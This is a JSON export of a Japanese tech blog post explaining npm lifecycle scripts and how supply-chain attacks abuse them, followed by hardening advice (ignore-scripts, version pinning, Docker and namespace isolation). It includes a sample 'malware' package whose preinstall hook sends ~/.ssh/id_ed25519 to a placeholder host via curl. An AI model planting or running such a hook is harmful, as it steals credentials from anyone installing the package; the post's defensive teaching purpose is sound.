{"id":80935,"date":"2026-01-20T11:30:00","date_gmt":"2026-01-20T02:30:00","guid":{"rendered":"https:\/\/www.creationline.com\/tech-blog\/?p=80935"},"modified":"2026-01-20T15:30:46","modified_gmt":"2026-01-20T06:30:46","slug":"npm%e3%81%ae%e3%82%b9%e3%82%af%e3%83%aa%e3%83%97%e3%83%88%e3%81%ab%e3%81%a4%e3%81%84%e3%81%a6%e8%aa%bf%e3%81%b9%e3%81%9f-%e3%80%90%e3%82%b5%e3%83%97%e3%83%a9%e3%82%a4%e3%83%81%e3%82%a7%e3%83%bc","status":"publish","type":"post","link":"https:\/\/www.creationline.com\/tech-blog\/glossary\/80935","title":{"rendered":"npm\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u306b\u3064\u3044\u3066\u8abf\u3079\u305f \u3010\u30b5\u30d7\u30e9\u30a4\u30c1\u30a7\u30fc\u30f3\u653b\u6483\u3011"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">\u306f\u3058\u3081\u306b<\/h2>\n\n\n\n<p><a href=\"https:\/\/www.npmjs.com\/\" target=\"_blank\" rel=\"noreferrer noopener\">npm<\/a> \u306fNode.js\u306e\u30d1\u30c3\u30b1\u30fc\u30b8\u30de\u30cd\u30fc\u30b8\u30e3\u3067\u3059\u3002\u6570\u591a\u304f\u306eTypeScript\/JavaScript\u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u3067\u63a1\u7528\u3055\u308c\u3066\u3044\u308b\u3068\u601d\u3044\u307e\u3059\u30022025\u5e7411\u6708\u3001<a href=\"https:\/\/pakapaka.jp\/npm-insident\/\" target=\"_blank\" rel=\"noreferrer noopener\">\u6b63\u898f\u306enpm\u30d1\u30c3\u30b1\u30fc\u30b8\u306b\u60aa\u610f\u306e\u3042\u308b\u30b3\u30fc\u30c9\u304c\u6df7\u5165\u3055\u305b\u3089\u308c\u308b\u4e8b\u4ef6<\/a> (\u30b5\u30d7\u30e9\u30a4\u30c1\u30a7\u30fc\u30f3\u653b\u6483) \u304c\u767a\u751f\u3057\u3001\u5f53\u793e\u3067\u3082\u5bfe\u5fdc\u306b\u8ffd\u308f\u308c\u307e\u3057\u305f\u3002\u3053\u306e\u653b\u6483\u306b\u4f7f\u308f\u308c\u305f1\u3064\u306e\u8981\u7d20\u304cnpm\u306e\u300cpreinstall\u300d\u30b9\u30af\u30ea\u30d7\u30c8\u3067\u3059\u3002\u3053\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u306f\u300c\u30e9\u30a4\u30d5\u30b5\u30a4\u30af\u30eb\u30b9\u30af\u30ea\u30d7\u30c8\u300d\u306b\u542b\u307e\u308c\u3001\u7279\u5b9a\u306e\u30bf\u30a4\u30df\u30f3\u30b0\u3067\u5b9f\u884c\u3055\u308c\u308b\u3088\u3046\u3067\u3059\u3002\u4eca\u56de\u306f\u3053\u306e\u300c\u30b9\u30af\u30ea\u30d7\u30c8\u300d\u300c\u30e9\u30a4\u30d5\u30b5\u30a4\u30af\u30eb\u30b9\u30af\u30ea\u30d7\u30c8\u300d\u306b\u3064\u3044\u3066\u8abf\u3079\u3066\u307f\u307e\u3057\u305f\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">npm\u306e\u30b9\u30af\u30ea\u30d7\u30c8<\/h2>\n\n\n\n<p>npm\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u306f\u3001package.json\u30d5\u30a1\u30a4\u30eb\u306b\u8a18\u8ff0\u3057\u307e\u3059\u3002\u30b9\u30af\u30ea\u30d7\u30c8\u306f\u30e6\u30fc\u30b6\u30fc\u304c <a href=\"https:\/\/docs.npmjs.com\/cli\/v11\/commands\/npm-run\" target=\"_blank\" rel=\"noreferrer noopener\">npm run<\/a> \u30b3\u30de\u30f3\u30c9\u3067\u5b9f\u884c\u3057\u305f\u308a\u3001\u7279\u5b9a\u306e\u64cd\u4f5c\u3092\u5951\u6a5f\u3068\u3057\u3066\u81ea\u52d5\u7684\u306b\u5b9f\u884c\u3055\u308c\u305f\u308a\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u4f8b<\/h3>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">bash-5.2$ cat package.json \n{\n  \"name\": \"npm-script\",\n  \"version\": \"1.0.0\",\n  \"description\": \"\",\n  \"license\": \"ISC\",\n  \"author\": \"\",\n  \"type\": \"commonjs\",\n  \"main\": \"index.js\",\n  \"scripts\": {\n    \"script1\": \"echo Hello\",\n    \"script2\": \"echo World\"\n  }\n}\nbash-5.2$ npm run script1\n\n> npm-script@1.0.0 script1\n> echo Hello\n\nHello\nbash-5.2$ npm run script2\n\n> npm-script@1.0.0 script2\n> echo World\n\nWorld<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u30b9\u30af\u30ea\u30d7\u30c8\u306e\u5b9f\u884c\u30e6\u30fc\u30b6\u30fc<\/h2>\n\n\n\n<p>package.json \u306b\u8a18\u8ff0\u3057\u305f\u30b9\u30af\u30ea\u30d7\u30c8\u306f\u3001npm\u30b3\u30de\u30f3\u30c9\u3092\u5b9f\u884c\u3057\u305f\u30e6\u30fc\u30b6\u30fc\u3067\u5b9f\u884c\u3055\u308c\u307e\u3059\u3002root\u30e6\u30fc\u30b6\u30fc\u3067npm\u30b3\u30de\u30f3\u30c9\u3092\u5b9f\u884c\u3059\u308b\u3068\u3001\u30b9\u30af\u30ea\u30d7\u30c8\u3082root\u30e6\u30fc\u30b6\u30fc\u3067\u5b9f\u884c\u3055\u308c\u307e\u3059\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u4f8b<\/h3>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">bash-5.2# cat package.json       \n{\n  \"name\": \"package\",\n  \"version\": \"1.0.0\",\n  \"description\": \"\",\n  \"license\": \"ISC\",\n  \"author\": \"\",\n  \"type\": \"commonjs\",\n  \"main\": \"index.js\",\n  \"scripts\": {\n    \"id\": \"id\"\n  }\n}\nbash-5.2# id\nuid=0 gid=0 groups=0,65534\nbash-5.2# npm run id\n\n> package@1.0.0 id\n> id\n\nuid=0 gid=0 groups=0,65534<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u30e9\u30a4\u30d5\u30b5\u30a4\u30af\u30eb\u30b9\u30af\u30ea\u30d7\u30c8\u3068\u306f<\/h2>\n\n\n\n<p>npm\u306b\u304a\u3044\u3066\u30e9\u30a4\u30d5\u30b5\u30a4\u30af\u30eb\u30b9\u30af\u30ea\u30d7\u30c8\u3068\u306f\u3001\u7279\u5b9a\u306enpm\u30b3\u30de\u30f3\u30c9\u3092\u5b9f\u884c\u3057\u305f\u6642\u306b\u5b9f\u884c\u3055\u308c\u308b\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u6307\u3057\u307e\u3059\u3002\u4f8b\u3048\u3070 <code>npm install<\/code> <code>&lt;\u30d1\u30c3\u30b1\u30fc\u30b8\u540d&gt;<\/code> \u3092\u5b9f\u884c\u3057\u305f\u6642\u3001\u6b21\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u304c\u5b9f\u884c\u3055\u308c\u307e\u3059:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>npm install<\/code> \u30b3\u30de\u30f3\u30c9\u306e\u30e9\u30a4\u30d5\u30b5\u30a4\u30af\u30eb\u30b9\u30af\u30ea\u30d7\u30c8\n<ul class=\"wp-block-list\">\n<li><code>preinstall<\/code><\/li>\n\n\n\n<li><code>install<\/code><\/li>\n\n\n\n<li><code>postinstall<\/code><\/li>\n\n\n\n<li><code>prepublish<\/code><\/li>\n\n\n\n<li><code>preprepare<\/code><\/li>\n\n\n\n<li><code>prepare<\/code><\/li>\n\n\n\n<li><code>postprepare<\/code><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p>\u3053\u308c\u3089\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u306f <code>&lt;\u30d1\u30c3\u30b1\u30fc\u30b8\u540d&gt;<\/code> \u306e\u30d1\u30c3\u30b1\u30fc\u30b8\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u304c\u5b9f\u884c\u3055\u308c\u307e\u3059\u3002\u3053\u308c\u3089\u4ee5\u5916\u306b\u3082\u30e9\u30a4\u30d5\u30b5\u30a4\u30af\u30eb\u30b9\u30af\u30ea\u30d7\u30c8\u304c\u3042\u308a\u3001<a href=\"https:\/\/docs.npmjs.com\/cli\/v11\/using-npm\/scripts#npm-cache-add\" target=\"_blank\" rel=\"noreferrer noopener\">npm\u306e\u516c\u5f0f\u30a6\u30a7\u30d6\u30b5\u30a4\u30c8\u3067\u4e00\u89a7\u3092\u898b\u308b<\/a>\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u30e9\u30a4\u30d5\u30b5\u30a4\u30af\u30eb\u30b9\u30af\u30ea\u30d7\u30c8\u306e\u60aa\u7528\u4f8b (\u30b5\u30d7\u30e9\u30a4\u30c1\u30a7\u30fc\u30f3\u653b\u6483)<\/h2>\n\n\n\n<p>\u30e9\u30a4\u30d5\u30b5\u30a4\u30af\u30eb\u30b9\u30af\u30ea\u30d7\u30c8\u3067\u306f\u3001\u5b9f\u884c\u30e6\u30fc\u30b6\u30fc\u306b\u8a31\u3055\u308c\u3066\u3044\u308b\u3053\u3068\u3067\u3042\u308c\u3070\u4f55\u3067\u3082\u3067\u304d\u3066\u3057\u307e\u3044\u307e\u3059\u3002\u3053\u3053\u3067\u306f\u3001\u958b\u767a\u4e2d\u306e <code>app<\/code>\u30d1\u30c3\u30b1\u30fc\u30b8\u306b\u60aa\u610f\u306e\u3042\u308b <code>malware<\/code> \u30d1\u30c3\u30b1\u30fc\u30b8\u3092\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3059\u308b\u30b1\u30fc\u30b9\u3092\u8003\u3048\u307e\u3059\u3002\u3053\u306e <code>malware<\/code> \u30d1\u30c3\u30b1\u30fc\u30b8\u306f <code>~\/.ssh\/id_ed25519<\/code> \u30d5\u30a1\u30a4\u30eb\u3092\u5916\u90e8\u306b\u9001\u4fe1\u3059\u308b\u80fd\u529b\u3092\u6301\u3061\u307e\u3059\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">malware \u30d1\u30c3\u30b1\u30fc\u30b8<\/h3>\n\n\n\n<p>package.json:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"json\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">{\n  \"name\": \"malware\",\n  \"version\": \"1.0.0\",\n  \"description\": \"\",\n  \"license\": \"ISC\",\n  \"author\": \"\",\n  \"type\": \"commonjs\",\n  \"main\": \"index.js\",\n  \"scripts\": {\n    \"preinstall\": \"cat ~\/.ssh\/id_ed25519 | curl -XPOST --data-binary @- https:\/\/example.invalid\/upload\"\n  }\n}<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">npm install\u3059\u308b<\/h3>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$ npm install ..\/malware # \u60aa\u610f\u306e\u3042\u308b preinstall \u30b9\u30af\u30ea\u30d7\u30c8\u304c\u5b9f\u884c\u3055\u308c\u308b\nnpm error code 6\nnpm error path \/home\/ubuntu\/node-v24.11.1-linux-x64\/malware\nnpm error command failed\nnpm error command sh -c cat ~\/.ssh\/id_ed25519 | curl -XPOST  --data-binary @- https:\/\/example.invalid\/upload\nnpm error % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current\nnpm error                                  Dload  Upload   Total   Spent    Left  Speed\n  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0curl: (6) Could not resolve host: example.invalid<\/pre>\n\n\n\n<p>\u3053\u306e\u4f8b\u3067\u306f <code>curl<\/code> \u30b3\u30de\u30f3\u30c9\u306ePOST\u5148\u304c <code>example.invalid<\/code> \u5b9b\u306b\u306a\u3063\u3066\u3044\u308b\u305f\u3081\u30b3\u30de\u30f3\u30c9\u304c\u5931\u6557\u3057\u307e\u3059\u304c\u3001\u6709\u52b9\u306aPOST\u5148\u3092\u6307\u5b9a\u3059\u308b\u3068\u5b9f\u969b\u306b\u60c5\u5831\u306e\u9001\u4fe1\u306b\u6210\u529f\u3057\u3066\u3057\u307e\u3044\u307e\u3059\u3002<\/p>\n\n\n\n<p>\u3053\u306e\u3088\u3046\u306b\u3001\u60aa\u610f\u306e\u3042\u308b\u30d1\u30c3\u30b1\u30fc\u30b8\u306f<strong>\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3057\u305f\u3060\u3051\u3067<\/strong>\u3042\u306a\u305f\u306e\u30b7\u30b9\u30c6\u30e0\u3092\u5371\u967a\u306b\u6652\u3059\u3053\u3068\u304c\u304a\u5206\u304b\u308a\u9802\u3051\u308b\u3068\u601d\u3044\u307e\u3059\u3002 <code>~\/.ssh\/id_ed25519<\/code> \u30d5\u30a1\u30a4\u30eb\u306e\u307b\u304b\u3001\u30af\u30e9\u30a6\u30c9\u30b5\u30fc\u30d3\u30b9\u306eAPI\u30ad\u30fc\u306a\u3093\u304b\u304c\u6f0f\u308c\u3066\u3057\u307e\u3046\u3068\u597d\u304d\u653e\u984c\u4f7f\u308f\u308c\u3066\u3057\u307e\u3046\u3068\u3044\u3046\u7d50\u679c\u306b\u3082\u3064\u306a\u304c\u308a\u307e\u3059\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u3088\u308a\u5b89\u5168\u306bnpm\u3092\u4f7f\u3046\u305f\u3081\u306b\u3067\u304d\u308b\u3053\u3068<\/h2>\n\n\n\n<p>\u3088\u308a\u5b89\u5168\u306bnpm\u3092\u4f7f\u3046\u305f\u3081\u306b\u3067\u304d\u308b\u3053\u3068\u3092\u793a\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><code>ignore-script=true<\/code> \u8a2d\u5b9a\u3092\u5165\u308c\u308b<\/h3>\n\n\n\n<p><a href=\"https:\/\/docs.npmjs.com\/cli\/v11\/using-npm\/config#ignore-scripts\" target=\"_blank\" rel=\"noreferrer noopener\">ignore-script \u8a2d\u5b9a<\/a>\u3092\u5165\u308c\u308b\u3053\u3068\u306b\u3088\u308a\u3001\u30e9\u30a4\u30d5\u30b5\u30a4\u30af\u30eb\u30b9\u30af\u30ea\u30d7\u30c8\u304c\u5b9f\u884c\u3055\u308c\u306a\u304f\u306a\u308a\u307e\u3059\u3002\u6ce8\u610f\u70b9\u3068\u3057\u3066\u3001\u30d1\u30c3\u30b1\u30fc\u30b8\u306b\u3088\u308a\u6b63\u5e38\u306b\u52d5\u4f5c\u3057\u306a\u304f\u306a\u308b\u3053\u3068\u304c\u6319\u3052\u3089\u308c\u307e\u3059\u3002\u203b\u305f\u3060\u3057\u3001IDE\u7d44\u307f\u8fbc\u307f\u306enpm\u3067\u306fignore-script\u8a2d\u5b9a\u304c\u8aad\u307f\u8fbc\u307e\u308c\u306a\u3044\u3053\u3068\u304c\u3042\u308b\u3088\u3046\u3067\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">npm config set ignore-scripts=true --global <\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\u30d1\u30c3\u30b1\u30fc\u30b8\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u3092\u56fa\u5b9a\u3059\u308b<\/h3>\n\n\n\n<p>npm\u306e\u30d1\u30c3\u30b1\u30fc\u30b8\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u3092\u6307\u5b9a\u3059\u308b\u969b\u3001<a href=\"https:\/\/zenn.dev\/ikuraikura\/articles\/d6ff3821017e29539a7a\" target=\"_blank\" rel=\"noreferrer noopener\">\u30c1\u30eb\u30c0 (~) \u3084\u30cf\u30c3\u30c8 (^) \u8868\u8a18\u3092\u4f7f\u3046\u3053\u3068\u304c\u3042\u308a\u307e\u3059\u3002<\/a>\u3053\u308c\u3092\u4f7f\u3046\u3068\u3001\u65b0\u3057\u3044\u30d0\u30fc\u30b8\u30e7\u30f3\u306e\u30d1\u30c3\u30b1\u30fc\u30b8\u304c\u30ea\u30ea\u30fc\u30b9\u3055\u308c\u305f\u6642\u306b\u305d\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u306e\u30d1\u30c3\u30b1\u30fc\u30b8\u304c\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3055\u308c\u308b\u3053\u3068\u304c\u3042\u308a\u307e\u3059\u3002\u3053\u308c\u306f\u76e3\u67fb\u306e\u6e08\u3093\u3067\u3044\u306a\u3044\u30d1\u30c3\u30b1\u30fc\u30b8\u3092\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3057\u3066\u3057\u307e\u3046\u3053\u3068\u306b\u4ed6\u306a\u308a\u307e\u305b\u3093\u306e\u3067\u3001\u3053\u308c\u3092\u907f\u3051\u307e\u3059\u3002<\/p>\n\n\n\n<p>GOOD:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">{\n  \"name\": \"app\",\n  \"version\": \"1.0.0\",\n  \"description\": \"\",\n  \"license\": \"ISC\",\n  \"author\": \"\",\n  \"type\": \"commonjs\",\n  \"main\": \"index.js\",\n  \"scripts\": {\n    \"test\": \"echo \\\"Error: no test specified\\\" &amp;&amp; exit 1\"\n  }\n  \"dependencies\": {\n    \"semver\": \"7.7.3\"\n  }\n}<\/pre>\n\n\n\n<p>BAD:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">{\n  \"name\": \"app\",\n  \"version\": \"1.0.0\",\n  \"description\": \"\",\n  \"license\": \"ISC\",\n  \"author\": \"\",\n  \"type\": \"commonjs\",\n  \"main\": \"index.js\",\n  \"scripts\": {\n    \"test\": \"echo \\\"Error: no test specified\\\" &amp;&amp; exit 1\"\n  }\n  \"dependencies\": {\n    \"semver\": \"^7.7.3\"\n  }\n}<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">npm\u3092\u9694\u96e2\u3055\u308c\u305f\u74b0\u5883\u3067\u5b9f\u884c\u3059\u308b<\/h3>\n\n\n\n<p>\u9694\u96e2\u3055\u308c\u305f\u74b0\u5883\u3067\u5b9f\u884c\u3059\u308b\u3068\u8a00\u3063\u3066\u3082\u3001\u3084\u308a\u65b9\u304c\u8272\u3005\u3042\u308b\u3068\u306f\u601d\u3044\u307e\u3059\u304c\u3001\u901a\u5e38\u3001\u30b9\u30af\u30ea\u30d7\u30c8\u306f\u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u5916\u306b\u30a2\u30af\u30bb\u30b9\u3059\u308b\u5fc5\u8981\u306f\u306a\u3044\u3068\u8003\u3048\u3089\u308c\u307e\u3059\u306e\u3067\u3001\u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u5916\u306b\u30a2\u30af\u30bb\u30b9\u3067\u304d\u306a\u3044\u74b0\u5883\u3067\u5b9f\u884c\u3059\u308b\u3053\u3068\u3092\u8003\u3048\u307e\u3059\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">npm\u3092docker\u3067\u52d5\u304b\u3059<\/h4>\n\n\n\n<p>docker\u3092\u4f7f\u3044\u3001\u30ab\u30ec\u30f3\u30c8\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u3060\u3051\u3092\u30b3\u30f3\u30c6\u30ca\u306b\u30de\u30a6\u30f3\u30c8\u3057\u3066npm\u30b3\u30de\u30f3\u30c9\u3092\u5b9f\u884c\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002\u3053\u308c\u306b\u3088\u308a\u30db\u30b9\u30c8\u306e\u30d5\u30a1\u30a4\u30eb\u30b7\u30b9\u30c6\u30e0\u306b\u307f\u3060\u308a\u306b\u30a2\u30af\u30bb\u30b9\u3055\u308c\u308b\u3053\u3068\u3092\u9632\u3050\u3053\u3068\u304c\u3067\u304d\u307e\u3059:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">docker run -v .:\/mnt -w \/mnt node:25-alpine3.22 npm install<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">npm\u3092\u5225\u306enamespace\u3067\u52d5\u304b\u3059 (Linux\u306e\u307f, \u4e0a\u7d1a\u8005\u5411\u3051)<\/h4>\n\n\n\n<p>Linux\u306e<a href=\"https:\/\/www.man7.org\/linux\/man-pages\/man7\/namespaces.7.html\" target=\"_blank\" rel=\"noreferrer noopener\">namespaces<\/a>\u6a5f\u80fd\u3092\u4f7f\u3063\u3066\u3001\u30db\u30b9\u30c8\u306e\u30d5\u30a1\u30a4\u30eb\u30b7\u30b9\u30c6\u30e0\u3068\u9694\u96e2\u3057\u305f\u74b0\u5883\u3067npm\u30b3\u30de\u30f3\u30c9\u3092\u5b9f\u884c\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002\u6b21\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u5b9f\u884c\u3059\u308b\u3068\u9694\u96e2\u74b0\u5883\u304c\u8d77\u52d5\u3057\u307e\u3059 (Ubuntu 24.04\u3067\u52d5\u4f5c\u78ba\u8a8d\u6e08\u307f):<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">#!\/bin\/bash\nset -euo pipefail\nDIR=.\/container\nMOUNT_PATHS=\"[\\\"\/bin\\\", \\\"\/lib64\\\", \\\"\/lib\/x86_64-linux-gnu\\\", \\\"\/usr\/bin\\\", \\\"\/usr\/sbin\\\"]\"\nWORKDIR=$(pwd)\n\nmkdir -p \"${DIR}\"\n\n# \u6a19\u6e96\u5165\u529b\u3092\u65b0\u3057\u3044\u30d5\u30a1\u30a4\u30eb\u30c7\u30a3\u30b9\u30af\u30ea\u30d7\u30bf\u306b\u79fb\u52d5\u3059\u308b\nexec {newfd}&lt;&amp;0-\nexport newfd\n\n# \u65b0\u3057\u3044namespace\u3067\u30b7\u30a7\u30eb\u3092\u8d77\u52d5\u3059\u308b\nunshare -r -m -p -f &lt;&lt;doc\n  set -euo pipefail\n  mount -t tmpfs tmpfs \"${DIR}\"\n\n  # resolv.conf \u3092\u30de\u30a6\u30f3\u30c8\u3059\u308b\n  mkdir \"${DIR}\/etc\"\n  touch \"${DIR}\/etc\/resolv.conf\"\n  mount -o bind \"$(realpath \/etc\/resolv.conf)\" \"${DIR}\/etc\/resolv.conf\"\n  mount -o remount,ro,bind \"${DIR}\/etc\/resolv.conf\"\n\n  # MOUNT_PATHS \u3092\u30de\u30a6\u30f3\u30c8\u3059\u308b\n  echo '${MOUNT_PATHS}' | jq -r '.[]' | xargs -I{} sh -c \"mkdir -p ${DIR}\/{} || exit 255\"\n  echo '${MOUNT_PATHS}' | jq -r '.[]' | xargs -I{} sh -c \"mount -o ro,bind {} ${DIR}\/{} || exit 255\"\n  mkdir -p '${DIR}\/$(pwd)'\n  mount -o bind '$(pwd)' '${DIR}\/$(pwd)'\n  mkdir \"${DIR}\/.put_old\"\n\n  # \u30d5\u30a1\u30a4\u30eb\u30b7\u30b9\u30c6\u30e0\u3092\u9694\u96e2\u3059\u308b\n  cd \"${DIR}\" &amp;&amp; \\\n    pivot_root . .put_old &amp;&amp; \\\n    exec chroot . ${SHELL} -c '\n      mkdir \/proc &amp;&amp;\n      mount -t proc proc \/proc &amp;&amp;\n      umount -l \/.put_old &amp;&amp;\n      cd \"${WORKDIR}\" &amp;&amp;\n      unshare -U ${SHELL} &lt;&amp;${newfd}'\ndoc\n<\/pre>\n\n\n\n<p>\u3053\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u5b9f\u884c\u3059\u308b\u3068\u30b7\u30a7\u30eb\u304c\u8d77\u52d5\u3057\u307e\u3059\u3002\u5b9f\u884c\u524d\u306e\u30ab\u30ec\u30f3\u30c8\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u304a\u3088\u3073\u9694\u96e2\u74b0\u5883\u306e\u5b9f\u884c\u306b\u5fc5\u8981\u306a\u6700\u4f4e\u9650\u306e\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u3068\u30d5\u30a1\u30a4\u30eb\u306b\u306e\u307f\u30a2\u30af\u30bb\u30b9\u53ef\u80fd\u3067\u3042\u308b\u3053\u3068\u306b\u6ce8\u610f\u3057\u3066\u304f\u3060\u3055\u3044\u3002<\/p>\n\n\n\n<p>\u4e0a\u8a18\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u306f\u74b0\u5883\u306b\u3088\u3063\u3066\u306f\u3046\u307e\u304f\u52d5\u4f5c\u3057\u306a\u3044\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002\u3046\u307e\u304f\u52d5\u4f5c\u3057\u306a\u3044\u5834\u5408\u306f\u6b21\u306e\u70b9\u3092\u78ba\u8a8d\u3057\u3066\u307f\u3066\u304f\u3060\u3055\u3044:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>MOUNT_PATHS<\/code>: \u5b9f\u884c\u30d5\u30a1\u30a4\u30eb\u3001\u304a\u3088\u3073\u5b9f\u884c\u30d5\u30a1\u30a4\u30eb\u306e\u52d5\u4f5c\u306b\u5fc5\u8981\u306a\u52d5\u7684\u30ea\u30f3\u30af\u30e9\u30a4\u30d6\u30e9\u30ea (.so) \u3078\u306e\u30d1\u30b9\u304c\u542b\u307e\u308c\u3066\u3044\u308b\u304b<\/li>\n\n\n\n<li><code><a href=\"https:\/\/www.man7.org\/linux\/man-pages\/man5\/subuid.5.html\" target=\"_blank\" rel=\"noreferrer noopener\">\/etc\/subuid<\/a><\/code> \u3068 <code><a href=\"https:\/\/www.man7.org\/linux\/man-pages\/man5\/subgid.5.html\" target=\"_blank\" rel=\"noreferrer noopener\">\/etc\/subgid<\/a><\/code> \u304c\u9069\u5207\u306b\u8a2d\u5b9a\u3055\u308c\u3066\u3044\u308b\u304b<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">\u7d42\u308f\u308a\u306b<\/h2>\n\n\n\n<p>\u672c\u8a18\u4e8b\u3067\u306fnpm\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u3068\u305d\u306e\u96a0\u308c\u305f\u5371\u967a\u6027\u3001\u304a\u3088\u3073\u3088\u308a\u5b89\u5168\u306bnpm\u3092\u4f7f\u3046\u305f\u3081\u306b\u3067\u304d\u308b\u3053\u3068\u3092\u7d39\u4ecb\u3057\u307e\u3057\u305f\u3002\u5b89\u5168\u306a\u30bd\u30d5\u30c8\u30a6\u30a7\u30a2\u958b\u767a\u306e\u305f\u3081\u306b\u3067\u304d\u308b\u3053\u3068\u304b\u3089\u884c\u3063\u3066\u3044\u304d\u307e\u3057\u3087\u3046\u3002<\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u306f\u3058\u3081\u306b npm \u306fNode.js\u306e\u30d1\u30c3\u30b1\u30fc\u30b8\u30de\u30cd\u30fc\u30b8\u30e3\u3067\u3059\u3002\u6570\u591a\u304f\u306eTypeScript\/JavaScript\u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u3067\u63a1\u7528\u3055\u308c\u3066\u3044\u308b\u3068\u601d\u3044\u307e\u3059\u30022025\u5e7411\u6708\u3001\u6b63\u898f\u306enpm\u30d1\u30c3\u30b1\u30fc\u30b8\u306b\u60aa\u610f\u306e\u3042\u308b\u30b3\u30fc\u30c9\u304c\u6df7\u5165\u3055\u305b [&#8230;]<\/p>\n","protected":false},"author":154,"featured_media":82017,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"content-type":"","footnotes":""},"categories":[903,1014],"tags":[],"class_list":["post-80935","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-k-takahashi","category-glossary"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ 